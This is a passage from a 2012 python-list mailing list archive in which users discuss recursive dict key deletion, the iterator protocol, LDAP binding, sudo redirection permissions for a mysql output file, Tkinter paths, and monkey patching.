number you get is in decimal, where the \u.... > notation uses hex: Thanks guys my issue is now solved - the problem came from my Putty client, it was on latin1 by default and changing it to utf-8, now works... From tjreedy at udel.edu Mon Dec 17 17:36:13 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 17 Dec 2012 17:36:13 -0500 Subject: Why Isn't Multiple Inheritance Automatic in Python? In-Reply-To: References: <87licxi9l7.fsf@debian.home> Message-ID: On 12/17/2012 4:14 AM, Ian Kelly wrote: > On Sun, Dec 16, 2012 at 9:30 PM, Nick M. Daly wrote: >> It's very unlikely that multiple inheritance would go horribly wrong, as >> long as classes adopt class-specific argument naming conventions. >> However, ever since bug 1683368 [0] was fixed, it's now impossible to >> cleanly create arbitrary inheritance trees. > > No, it isn't. You just code each class to strip out the particular > arguments that it uses, and by the time you get up to object, either > you've removed all the arguments, or your inheritance tree is buggy. > The fix for bug 1683368 means that this latter case is detected and > raised as an error. In other words, one could say that the fix forces a clean inheritance tree. > There was a thread not too long ago about the fact that this fix was > recently extended to the __init__ methods of immutable classes, Since 3.3.0? >>> object.__init__(object(), 1) Traceback (most recent call last): File "", line 1, in object.__init__(object(), 1) TypeError: object.__init__() takes no parameters >>> tuple.__init__(tuple(), 1) >>> Or were you referring to something else? Or done since? > while I'm not convinced that this was the correct thing to do, Terry > Reedy pointed out in the issue comments back in 2010 that the proper > way to initialize immutable instances is by overriding __new__ rather > than __init__, the former of which is still perfectly clean to > inherit. It seems to me that tuple, etc., should just inherit __init__ from object. -- Terry Jan Reedy From darnold992000 at yahoo.com Mon Dec 17 17:53:36 2012 From: darnold992000 at yahoo.com (darnold) Date: Mon, 17 Dec 2012 14:53:36 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> Message-ID: <1d9b8ffd-cc35-477c-9d4e-af60eb5f665e@r4g2000vbi.googlegroups.com> On Dec 16, 12:38?pm, tbg wrote: > Nice, will have to try it out... if you're interested in learning Python and/or game programming in Python, you might want to take a look at http://inventwithpython.com/ . HTH, Don From python at mrabarnett.plus.com Mon Dec 17 18:08:23 2012 From: python at mrabarnett.plus.com (MRAB) Date: Mon, 17 Dec 2012 23:08:23 +0000 Subject: Delete dict and subdict items of some name In-Reply-To: <50CF95FB.6060800@davea.name> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> <50CF64B8.6010305@tim.thechases.com> <50CF8FBC.9000100@lightbird.net> <50CF95FB.6060800@davea.name> Message-ID: <50CFA5E7.7020701@mrabarnett.plus.com> On 2012-12-17 22:00, Dave Angel wrote: > On 12/17/2012 04:33 PM, Mitya Sirenef wrote: >> On 12/17/2012 01:30 PM, Tim Chase wrote: >>> On 12/17/12 11:43, Mitya Sirenef wrote: >>>> On 12/17/2012 12:27 PM, Gnarlodious wrote: >>>>> Hello. What I want to do is delete every dictionary key/value >>>>> of the name 'Favicon' regardless of depth in subdicts, of which >>>>> there are many. What is the best way to do it? >>>> Something like this should work: >>>> >>>> def delkey(d, key): >>>> if isinstance(d, dict): >>>> if key in d: del d[key] >>>> for val in d.values(): >>>> delkey(val, key) >>> Unless you have something hatefully recursive like >>> >>> d = {} >>> d["hello"] = d >>> >>> :-) >> >> True -- didn't think of that..! >> >> I guess then adding a check 'if val is not d: delkey(val, key)' >> would take care of it? >> > No, that would only cover the self-recursive case. If there's a dict > which contains another one, which contains the first, then the recursion > is indirect, and much harder to check for. > > Checking reliably for arbitrary recursion patterns is tricky, but > do-able. Most people degenerate into just setting an arbitrary max > depth. But I can describe two approaches to this kind of problem. > Wouldn't a set of the id of the visited objects work? From jaorozco at estudiantes.uci.cu Mon Dec 17 18:09:55 2012 From: jaorozco at estudiantes.uci.cu (Jorge Alberto Diaz Orozco) Date: Mon, 17 Dec 2012 18:09:55 -0500 Subject: python ldap bind error Message-ID: <50CFA643.3010005@estudiantes.uci.cu> hi there. I'm working with python ldap and I need to authenticate my user. this is the code I'm using. import ldap ldap.set_option(ldap.OPT_REFERRALS,0) ldap.protocol_version = 3 conn = ldap.initialize("ldap://ldap.domain.cu") conn.simple_bind_s("user at domain.cu","password") every time I do this it gives me the next error: ldap.INVALID_DN_SYNTAX: {'info': 'invalid DN', 'desc': 'Invalid DN syntax'} can someone help me??? I don't know what I'm doing wrong 10mo. ANIVERSARIO DE LA CREACION DE LA UNIVERSIDAD DE LAS CIENCIAS INFORMATICAS... CONECTADOS AL FUTURO, CONECTADOS A LA REVOLUCION http://www.uci.cu http://www.facebook.com/universidad.uci http://www.flickr.com/photos/universidad_uci From ethan at stoneleaf.us Mon Dec 17 18:27:47 2012 From: ethan at stoneleaf.us (Ethan Furman) Date: Mon, 17 Dec 2012 15:27:47 -0800 Subject: Supporting list() In-Reply-To: <50CF3253.5020607@davea.name> References: <50CF3253.5020607@davea.name> Message-ID: <50CFAA73.30701@stoneleaf.us> Dave Angel wrote: > On 12/17/2012 09:33 AM, Skip Montanaro wrote: >> What method(s) does a class have to support to properly emulate a container >> which supports turning it into a list? For example: >> >> class Foo: >> pass >> >> f = Foo() >> print list(f) >> >> Is it just __iter__() and next()? (I'm still using 2.4 and 2.7.) > > I believe the container class needs to define the __iter__() method, > which has to return an iterator object. > > That (possibly different) iterator class needs both an __iter__() method > and a next() method. > > If the container class is also the iterator class, which is common, then > you just need one __iter__() method, which returns self. The `next()` method is also needed, as `__iter__()` and `next()` are the two methods that make up the iterator protocol (`__next__` in python 3k). ~Ethan~ From ethan at stoneleaf.us Mon Dec 17 18:30:27 2012 From: ethan at stoneleaf.us (Ethan Furman) Date: Mon, 17 Dec 2012 15:30:27 -0800 Subject: Supporting list() In-Reply-To: References: Message-ID: <50CFAB13.3010707@stoneleaf.us> Skip Montanaro wrote: > What method(s) does a class have to support to properly emulate a container > which supports turning it into a list? For example: > > class Foo: > pass > > f = Foo() > print list(f) > > Is it just __iter__() and next()? (I'm still using 2.4 and 2.7.) You can either use __iter__ and next to conform to the iterator protocol, or you can define __getitem__. If using __getitem__ it needs to work with integers from 0 to len(f)-1, and raise IndexError for len(f), len(f+1), etc. ~Ethan~ From oscar.j.benjamin at gmail.com Mon Dec 17 18:44:53 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Mon, 17 Dec 2012 23:44:53 +0000 Subject: Delete dict and subdict items of some name In-Reply-To: <50CFA5E7.7020701@mrabarnett.plus.com> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> <50CF64B8.6010305@tim.thechases.com> <50CF8FBC.9000100@lightbird.net> <50CF95FB.6060800@davea.name> <50CFA5E7.7020701@mrabarnett.plus.com> Message-ID: On 17 December 2012 23:08, MRAB wrote: > On 2012-12-17 22:00, Dave Angel wrote: >> On 12/17/2012 04:33 PM, Mitya Sirenef wrote: >>> On 12/17/2012 01:30 PM, Tim Chase wrote: >>>> On 12/17/12 11:43, Mitya Sirenef wrote: >>>>> On 12/17/2012 12:27 PM, Gnarlodious wrote: >>>>>> >>>>>> Hello. What I want to do is delete every dictionary key/value >>>>>> of the name 'Favicon' regardless of depth in subdicts, of which >>>>>> there are many. What is the best way to do it? >>>>> >>>>> Something like this should work: >>>>> >>>>> def delkey(d, key): >>>>> if isinstance(d, dict): >>>>> if key in d: del d[key] >>>>> for val in d.values(): >>>>> delkey(val, key) >>>> >>>> Unless you have something hatefully recursive like >>>> >>>> d = {} >>>> d["hello"] = d >>>> >>>> :-) >>> >>> >>> True -- didn't think of that..! >>> >>> I guess then adding a check 'if val is not d: delkey(val, key)' >>> would take care of it? >>> >> No, that would only cover the self-recursive case. If there's a dict >> which contains another one, which contains the first, then the recursion >> is indirect, and much harder to check for. >> >> Checking reliably for arbitrary recursion patterns is tricky, but >> do-able. Most people degenerate into just setting an arbitrary max >> depth. But I can describe two approaches to this kind of problem. >> > Wouldn't a set of the id of the visited objects work? Of course it would. This is just a tree search. Here's a depth-first-search function: def dfs(root, childfunc, func): '''depth first search on a tree calls func(node) once for each node''' visited = set() visiting = OrderedDict() visiting[id(root)] = it = iter([root]) while True: try: node = next(it) except StopIteration: try: node, it = visiting.popitem() except KeyError: return key = id(node) if isinstance(node, dict) and key not in visited: func(node) visiting[key] = it = iter(childfunc(node)) visited.add(key) Now you can do: dfs(my_dict_tree, lambda x: x.pop('Favicon', None)) Although I wouldn't bother with the above unless I had some reason to expect possible cycles. Oscar From oscar.j.benjamin at gmail.com Mon Dec 17 19:01:07 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Tue, 18 Dec 2012 00:01:07 +0000 Subject: os.system and subprocess odd behavior In-Reply-To: <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> Message-ID: On 17 December 2012 20:56, py_genetic wrote: > Oscar, seems you may be correct. I need to run this program as a superuser. However, after some more tests with simple commands... I seem to be working correctly from any permission level in python.... Except for the output write command from the database to a file. Which runs fine if I paste it into the cmd line. Also, subprocess.call_check() returns clean. However, nothing is written to the output file when called from python. > > so this cmd runs great from the cmd line (sudo or no) however the output file in this case is owned by the sysadmin either way... not root? > > /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL > /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT > > > When run from sudo python (other files are also created and owned by root correctly) however no output is written from the db command zero byte file only (owned by root)... returns to python with no errors. > > I'm sorta at a loss. I'd rather still avoid having python connect to the db directly or reading the data from stdout, is a waste or mem and time for what I need. Follow through the bash session below $ cd /usr $ ls bin games include lib local sbin share src $ touch file touch: cannot touch `file': Permission denied $ sudo touch file [sudo] password for oscar: $ ls bin file games include lib local sbin share src $ cat < file > file2 bash: file2: Permission denied $ sudo cat < file > file2 bash: file2: Permission denied $ sudo cat < file > file2 bash: file2: Permission denied $ sudo cat < file | tee file2 tee: file2: Permission denied $ sudo cat < file | sudo tee file2 $ ls bin file file2 games include lib local sbin share src The problem is that when you do $ sudo cmd > file2 it is sort of like doing $ sudo cmd | this_bash_session > file2 so the permissions used to write to file2 are the same as the bash session rather than the command cmd which has root permissions. By piping my output into "sudo tee file2" I can get file2 to be written by a process that has root permissions. I suspect you have the same problem although it all complicated by the fact that everything is a subprocess of Python. Is it possibly the case that the main Python process does not have root permissions but you are using it to run a command with sudo that then does have root permissions? Does piping through something like "sudo tee" help? Oscar From steve+comp.lang.python at pearwood.info Mon Dec 17 19:07:53 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 18 Dec 2012 00:07:53 GMT Subject: Unicode References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> Message-ID: <50cfb3d9$0$29991$c3e8da3$5496439d@news.astraweb.com> On Mon, 17 Dec 2012 19:36:01 +0100, Anatoli Hristov wrote: >> src.decode() is creating a unicode string. The error is not happening >> there. But when print is used with a unicode string, it has to encode >> the data. And for whatever reason, yours is using latin-1, and you >> have a character in there which is not in the latin-1 encoding. > I fixed the print, I changed the setting of the terminal and also on the > sshconfig, so now when I print I'm able to print out without problems, > but when I tried to run the script I've made it gives me again the same > error : > ""Unexpected error: exceptions.UnicodeEncodeError """ That is not a full Python traceback. Python gives you lots of debugging information, in the form of a complete traceback. Use those tracebacks, don't ignore them. Trying to debug code without the full traceback is like trying to read a book by reading only every third page. -- Steven From steve+comp.lang.python at pearwood.info Mon Dec 17 19:17:19 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 18 Dec 2012 00:17:19 GMT Subject: Delete dict and subdict items of some name References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> Message-ID: <50cfb60f$0$29991$c3e8da3$5496439d@news.astraweb.com> On Mon, 17 Dec 2012 09:27:48 -0800, Gnarlodious wrote: > Hello. What I want to do is delete every dictionary key/value of the > name 'Favicon' regardless of depth in subdicts, of which there are many. > What is the best way to do it? Firstly, you should assume we know what you are talking about, rather than explain in clear terms. Never show us an example of your data structure. That way we can have the entertainment of guessing what the structure of the data structure is, and coding for data that you don't care about. Secondly, never tell us what (if anything) you have already tried, so that we can share in the same dead-ends and failed attempts. Share and share alike. Thirdly, make sure we don't have a clear idea of what you consider "best", e.g. fastest to write, fastest to execute, most readable, most easily maintainable, most memory efficient, short enough to be used as a one-liner, or something else. For bonus points, this shouldn't be clear in your own mind either. Fourth, never be clear about the functional requirements. For example, do you want to mutate the data in place? Or should the original data remain untouched, and a modified copy be made? By leaving this unstated or subtly implied, you can ensure that our answers have a 50% chance of getting it wrong. If you keep these points in mind, you too can ask open-ended, poor questions that generate much discussion but don't solve your actual problem. Oh wait, I see you already know this! Sorry for the noise. *wink* -- Steven From oscar.j.benjamin at gmail.com Mon Dec 17 19:22:14 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Tue, 18 Dec 2012 00:22:14 +0000 Subject: Delete dict and subdict items of some name In-Reply-To: References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> <50CF64B8.6010305@tim.thechases.com> <50CF8FBC.9000100@lightbird.net> <50CF95FB.6060800@davea.name> <50CFA5E7.7020701@mrabarnett.plus.com> Message-ID: On 17 December 2012 23:44, Oscar Benjamin wrote: > On 17 December 2012 23:08, MRAB wrote: >> Wouldn't a set of the id of the visited objects work? > > Of course it would. This is just a tree search. > > Here's a depth-first-search function: > > def dfs(root, childfunc, func): > '''depth first search on a tree > calls func(node) once for each node''' > visited = set() > visiting = OrderedDict() > visiting[id(root)] = it = iter([root]) > > while True: > try: > node = next(it) > except StopIteration: > try: > node, it = visiting.popitem() > except KeyError: > return > key = id(node) > if isinstance(node, dict) and key not in visited: > func(node) > visiting[key] = it = iter(childfunc(node)) > visited.add(key) > > Now you can do: > > dfs(my_dict_tree, lambda x: x.pop('Favicon', None)) Slight correction: dfs(g, lambda n: n.values(), lambda x: x.pop('Favicon', None)) Oscar From msirenef at lightbird.net Mon Dec 17 20:09:01 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Mon, 17 Dec 2012 20:09:01 -0500 Subject: Delete dict and subdict items of some name In-Reply-To: <50CF95FB.6060800@davea.name> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> <50CF64B8.6010305@tim.thechases.com> <50CF8FBC.9000100@lightbird.net> <50CF95FB.6060800@davea.name> Message-ID: <50CFC22D.7010700@lightbird.net> On 12/17/2012 05:00 PM, Dave Angel wrote: > On 12/17/2012 04:33 PM, Mitya Sirenef wrote: >> On 12/17/2012 01:30 PM, Tim Chase wrote: >>> On 12/17/12 11:43, Mitya Sirenef wrote: >>>> On 12/17/2012 12:27 PM, Gnarlodious wrote: >>>>> Hello. What I want to do is delete every dictionary key/value >>>>> of the name 'Favicon' regardless of depth in subdicts, of which >>>>> there are many. What is the best way to do it? >>>> Something like this should work: >>>> >>>> def delkey(d, key): >>>> if isinstance(d, dict): >>>> if key in d: del d[key] >>>> for val in d.values(): >>>> delkey(val, key) >>> Unless you have something hatefully recursive like >>> >>> d = {} >>> d["hello"] = d >>> >>> :-) >> True -- didn't think of that..! >> >> I guess then adding a check 'if val is not d: delkey(val, key)' >> would take care of it? >> > No, that would only cover the self-recursive case. If there's a dict > which contains another one, which contains the first, then the recursion > is indirect, and much harder to check for. > > Checking reliably for arbitrary recursion patterns is tricky, but > do-able. Most people degenerate into just setting an arbitrary max > depth. But I can describe two approaches to this kind of problem. > > 1) build a list of the recursion path at present, and compare against > the whole path, rather than just the tail. If there are any matches, quit. > > 2) make the iterator an object, and instantiate two of them. Then each > recursive level, iterate the main one once, and the secondary one > twice. If the two ever match, you have a loop. Deciding what to do at > that point is tricky because you may have processed some nodes multiple > times already. But at least it'll terminate, and it doesn't use linear > memory to do so. I call this one the lollypop algorithm. > > Thanks, this is quite interesting.. -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From d at davea.name Mon Dec 17 21:13:17 2012 From: d at davea.name (Dave Angel) Date: Mon, 17 Dec 2012 21:13:17 -0500 Subject: Delete dict and subdict items of some name In-Reply-To: <50CFA5E7.7020701@mrabarnett.plus.com> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> <50CF64B8.6010305@tim.thechases.com> <50CF8FBC.9000100@lightbird.net> <50CF95FB.6060800@davea.name> <50CFA5E7.7020701@mrabarnett.plus.com> Message-ID: <50CFD13D.60101@davea.name> On 12/17/2012 06:08 PM, MRAB wrote: > On 2012-12-17 22:00, Dave Angel wrote: >> On 12/17/2012 04:33 PM, Mitya Sirenef wrote: >>> On 12/17/2012 01:30 PM, Tim Chase wrote: >>>> On 12/17/12 11:43, Mitya Sirenef wrote: >>>>> On 12/17/2012 12:27 PM, Gnarlodious wrote: >>>>>> Hello. What I want to do is delete every dictionary key/value >>>>>> of the name 'Favicon' regardless of depth in subdicts, of which >>>>>> there are many. What is the best way to do it? >>>>> Something like this should work: >>>>> >>>>> def delkey(d, key): >>>>> if isinstance(d, dict): >>>>> if key in d: del d[key] >>>>> for val in d.values(): >>>>> delkey(val, key) >>>> Unless you have something hatefully recursive like >>>> >>>> d = {} >>>> d["hello"] = d >>>> >>>> :-) >>> >>> True -- didn't think of that..! >>> >>> I guess then adding a check 'if val is not d: delkey(val, key)' >>> would take care of it? >>> >> No, that would only cover the self-recursive case. If there's a dict >> which contains another one, which contains the first, then the recursion >> is indirect, and much harder to check for. >> >> Checking reliably for arbitrary recursion patterns is tricky, but >> do-able. Most people degenerate into just setting an arbitrary max >> depth. But I can describe two approaches to this kind of problem. >> > Wouldn't a set of the id of the visited objects work? Sure. But the set will get lots larger than a list, which is limited to the depth of max recursion. It also locks a lot more objects in memory, where the list only locks one per level. Now, maybe if the search is depth-first, and if you prune the set on the way back up, then it'll be space efficient. -- DaveA From derekathomas at gmail.com Mon Dec 17 22:47:46 2012 From: derekathomas at gmail.com (Derek Thomas) Date: Mon, 17 Dec 2012 19:47:46 -0800 (PST) Subject: Install python with custom tk-tcl installation Message-ID: <446534c3-81b9-49ad-8d79-bdad263f7cc8@googlegroups.com> Hello, I seem to have a problem because it seems Tkinter assumes relative paths for TCL_LIBRARY and TK_LIBRARY. I am working with the homebrew group to get python27 to install nicely with a custom installation of tk and tcl (https://github.com/mxcl/homebrew/pull/16626). However, this breaks because homebrew installs tk and tcl in separate directories and then soft-links them to /usr/local/lib. When I install python with this method, it breaks tkinter with the following error: ``` >>> import Tkinter; root = Tkinter.Tk() Traceback (most recent call last): File "", line 1, in File "/usr/local/Cellar/python/2.7.3/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-tk/Tkinter.py", line 1685, in __init__ self.tk = _tkinter.create(screenName, baseName, className, interactive, wantobjects, useTk, sync, use) _tkinter.TclError: Can't find a usable tk.tcl in the following directories: /usr/local/Cellar/tcl/8.5.9/lib/tcl8.5/tk8.5 /usr/local/Cellar/tcl/8.5.9/lib/tcl8.5/tk8.5/Resources/Scripts /usr/local/Cellar/tcl/8.5.9/lib/tk8.5 /usr/local/Cellar/tcl/8.5.9/lib/tk8.5/Resources/Scripts /usr/local/Cellar/python/2.7.3/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/lib/tk8.5 /usr/local/Cellar/python/2.7.3/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/lib/tk8.5/Resources/Scripts /usr/local/Cellar/python/2.7.3/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/lib/tk8.5 /usr/local/Cellar/python/2.7.3/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/library This probably means that tk wasn't installed properly. ``` It is looking in the wrong library directory for the tk.tcl file, which is in /usr/local/Cellar/tk/8.5.9/lib/tk8.5/tk.tcl . In fact, it is assuming that the tk8.5 lib-directory is installed relative to the tcl8.5 lib-directory which is incorrect. It fails because it cannot find the file in the relative directory. I can fix this by setting the environment variable TCL_LIBRARY to a path that is relative to a soft-linked tk-library (/usr/local/lib/tcl8.5), but is there someway to set tkinter to search the correct path during installation without having to set the environment after installation? I looked in _tkinter.c and tkappinit.c but could not find where it was determining the tcl library. If you have any advice or thoughts, I would be very appreciative. Thank you in advance. From photonymous at gmail.com Tue Dec 18 00:10:43 2012 From: photonymous at gmail.com (photonymous at gmail.com) Date: Mon, 17 Dec 2012 21:10:43 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: Message-ID: <0396f870-ab0b-4f74-a94c-8922b49ef2e9@googlegroups.com> I hope I understand the question... but shouldn't you wait for the process to complete before exiting? Something like: pid = subprocess.Popen(...) pid.wait() Otherwise, it'll exit before the background process is done. From jason at powerpull.net Tue Dec 18 00:16:57 2012 From: jason at powerpull.net (Jason Friedman) Date: Mon, 17 Dec 2012 22:16:57 -0700 Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <1d9b8ffd-cc35-477c-9d4e-af60eb5f665e@r4g2000vbi.googlegroups.com> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <1d9b8ffd-cc35-477c-9d4e-af60eb5f665e@r4g2000vbi.googlegroups.com> Message-ID: > if you're interested in learning Python and/or game programming in > Python, you might want to take a look at http://inventwithpython.com/ And https://www.coursera.org/course/interactivepython. From redstone-cold at 163.com Tue Dec 18 00:25:27 2012 From: redstone-cold at 163.com (iMath) Date: Mon, 17 Dec 2012 21:25:27 -0800 (PST) Subject: =?UTF-8?Q?where_to_view__open=28=29_function=27s_C_implementation_so?= =?UTF-8?Q?urce_code_=EF=BC=9F?= Message-ID: where to view open() function's C implementation source code ? From gnarlodious at gmail.com Tue Dec 18 00:30:48 2012 From: gnarlodious at gmail.com (Gnarlodious) Date: Mon, 17 Dec 2012 21:30:48 -0800 (PST) Subject: Delete dict and subdict items of some name In-Reply-To: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> Message-ID: <70a0560d-3ae2-4b24-87f1-dcc3fa6cd4fb@googlegroups.com> This problem is solved, I am so proud of myself for figuring it out! After reading some of these ideas I discovered the plist is really lists underneath any "Children" key: from plistlib import readPlist def explicate(listDicts): for dict in listDicts: if 'FavIcon' in dict: del dict['FavIcon'] if 'Children' in dict: dict['Children']=explicate(dict['Children']) return listDicts listDicts=readPlist(TARGET_FILE)['Children'] explicate(listDicts) print(listDicts) This plist is used by the Mac browser iCab for bookmarks. Removing the Favicon data shrinks the file by about 99% and speeds uploading. I am glad everyone had a nice discussion about my question, but it wasn't really accurate. Sorry bout that! -- Gnarlie From roy at panix.com Tue Dec 18 00:35:58 2012 From: roy at panix.com (Roy Smith) Date: Tue, 18 Dec 2012 00:35:58 -0500 Subject: where to view open() function's C implementation source code ï¼ References: Message-ID: In article , iMath wrote: > where to view open() function's C implementation source code ??? http://www.python.org/download/releases/ Download the source for the version you're interested in. From redstone-cold at 163.com Tue Dec 18 01:32:39 2012 From: redstone-cold at 163.com (iMath) Date: Mon, 17 Dec 2012 22:32:39 -0800 (PST) Subject: =?UTF-8?Q?Re=3A_where_to_view__open=28=29_function=27s_C_implementatio?= =?UTF-8?Q?n_source_code_=EF=BF=BD?= In-Reply-To: References: Message-ID: ? 2012?12?18????UTC+8??1?35?58??Roy Smith??? > In article , > > iMath wrote: > > > > > where to view open() function's C implementation source code ? > > > > http://www.python.org/download/releases/ > > > > Download the source for the version you're interested in. but which python module is open() in ? From frank at chagford.com Tue Dec 18 01:52:26 2012 From: frank at chagford.com (Frank Millman) Date: Tue, 18 Dec 2012 08:52:26 +0200 Subject: py2exe is on Sourceforge list of top growth projects Message-ID: This is from Sourceforge's monthly update - Top Growth Projects We're always on the lookout for projects that might be doing interesting things, and a surge in downloads is one of many metrics that we look at to identify them. Here's the projects that had the greatest growth in the last month. [...] py2exe: A distutils extension to create standalone Windows programs from python scripts. It is 19th on a list of 19, but still, it is nice to see. I wonder if there was any particular reason for that? Frank Millman From tjreedy at udel.edu Tue Dec 18 03:55:40 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 18 Dec 2012 03:55:40 -0500 Subject: =?UTF-8?B?UmU6IHdoZXJlIHRvIHZpZXcgIG9wZW4oKSBmdW5jdGlvbidzIEMgaW0=?= =?UTF-8?B?cGxlbWVudGF0aW9uIHNvdXJjZSBjb2RlIO+8nw==?= In-Reply-To: References: Message-ID: On 12/18/2012 12:25 AM, iMath wrote: > where to view open() function's C implementation source code ? depends on the python version. io in 3.x otherwise, it is a builtin -- Terry Jan Reedy From glicerinu at gmail.com Tue Dec 18 05:26:42 2012 From: glicerinu at gmail.com (Marc Aymerich) Date: Tue, 18 Dec 2012 02:26:42 -0800 (PST) Subject: Is it possible monkey patch like this? Message-ID: Dear all, I want to monkey patch a method that has lots of code so I want to avoid copying all the original method for changing just two lines. The thing is that I don't know how to do this kind of monkey patching. Consider the following code: class OringinalClass(object): def origina_method(self, *args, **kwargs): ... if some_condition(): # This condition should be changed raise SomeException ... if some_condition(): ... #if some_condition(local_variable): # This condition should be added # raise SomeException ... Is it possible to tell Python to run the original method without stopping when an exception is raised? so I can catch them on a wrapper method and apply my conditional there. Any other idea on how to monkey patch those two conditionals ? Thanks! From hansmu at xs4all.nl Tue Dec 18 05:27:50 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Tue, 18 Dec 2012 11:27:50 +0100 Subject: os.system and subprocess odd behavior In-Reply-To: <0396f870-ab0b-4f74-a94c-8922b49ef2e9@googlegroups.com> References: <0396f870-ab0b-4f74-a94c-8922b49ef2e9@googlegroups.com> Message-ID: <50d04526$0$6926$e4fe514c@news2.news.xs4all.nl> On 18/12/12 06:10:43, photonymous at gmail.com wrote: > I hope I understand the question... but shouldn't you wait for the process to complete before exiting? > > Something like: > > pid = subprocess.Popen(...) > pid.wait() > > Otherwise, it'll exit before the background process is done. Why would that be a problem? -- HansM From hansmu at xs4all.nl Tue Dec 18 05:31:41 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Tue, 18 Dec 2012 11:31:41 +0100 Subject: Delete dict and subdict items of some name In-Reply-To: <70a0560d-3ae2-4b24-87f1-dcc3fa6cd4fb@googlegroups.com> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <70a0560d-3ae2-4b24-87f1-dcc3fa6cd4fb@googlegroups.com> Message-ID: <50d0460e$0$6926$e4fe514c@news2.news.xs4all.nl> On 18/12/12 06:30:48, Gnarlodious wrote: > This problem is solved, I am so proud of myself for figuring it out! > After reading some of these ideas I discovered the plist is really > lists underneath any "Children" key: > > > from plistlib import readPlist > > def explicate(listDicts): > for dict in listDicts: > if 'FavIcon' in dict: > del dict['FavIcon'] > if 'Children' in dict: > dict['Children']=explicate(dict['Children']) > return listDicts It would be more Pythonic to return None, to indicate that you've changed the list in situ. Since None is the default return value, this means you can leave out the return statement. Hope this helps, -- HansM From rosuav at gmail.com Tue Dec 18 05:34:06 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 18 Dec 2012 21:34:06 +1100 Subject: Is it possible monkey patch like this? In-Reply-To: References: Message-ID: On Tue, Dec 18, 2012 at 9:26 PM, Marc Aymerich wrote: > Any other idea on how to monkey patch those two conditionals ? Would it be plausible to simply add a parameter to the function that controls its behaviour? It'd be a lot more readable than fiddling from the outside ever would. ChrisA From d at davea.name Tue Dec 18 05:39:56 2012 From: d at davea.name (Dave Angel) Date: Tue, 18 Dec 2012 05:39:56 -0500 Subject: os.system and subprocess odd behavior In-Reply-To: <50d04526$0$6926$e4fe514c@news2.news.xs4all.nl> References: <0396f870-ab0b-4f74-a94c-8922b49ef2e9@googlegroups.com> <50d04526$0$6926$e4fe514c@news2.news.xs4all.nl> Message-ID: <50D047FC.6050406@davea.name> On 12/18/2012 05:27 AM, Hans Mulder wrote: > On 18/12/12 06:10:43, photonymous at gmail.com wrote: >> I hope I understand the question... but shouldn't you wait for the process to complete before exiting? >> >> Something like: >> >> pid = subprocess.Popen(...) >> pid.wait() >> >> Otherwise, it'll exit before the background process is done. > Why would that be a problem? > Because you don't want to bog the system down with a zombie task. -- DaveA From hevymetl07 at gmail.com Tue Dec 18 06:29:49 2012 From: hevymetl07 at gmail.com (hevymetl07 at gmail.com) Date: Tue, 18 Dec 2012 03:29:49 -0800 (PST) Subject: I need help with graphs in python (2.7.3.1) Message-ID: Hi there, I hope that there is someone willing to help me out, I need to generate a graph in Python 2.7.3.1, but I am not that skilled with Python and I am completely stuck :( I had to make a .CSV file from my Windows system logs (already did that), and the following steps must bw written in the form of a Python 2.7.3.1 script. These are some steps I need to do first before creating the graph: - Get the name of a CSV file from an ini file, - Next, read a line from this CSV file, - Increase a variable depending on the Log level (information, warning, error, critical), - Read the next line, - Then I need to print these results in a Graph. I really hope that there is someone there to help me out, and many thanks in advance for all your help! From hansmu at xs4all.nl Tue Dec 18 06:40:44 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Tue, 18 Dec 2012 12:40:44 +0100 Subject: os.system and subprocess odd behavior In-Reply-To: References: <0396f870-ab0b-4f74-a94c-8922b49ef2e9@googlegroups.com> <50d04526$0$6926$e4fe514c@news2.news.xs4all.nl> Message-ID: <50d0563d$0$6984$e4fe514c@news2.news.xs4all.nl> On 18/12/12 11:39:56, Dave Angel wrote: > On 12/18/2012 05:27 AM, Hans Mulder wrote: >> On 18/12/12 06:10:43, photonymous at gmail.com wrote: >>> I hope I understand the question... but 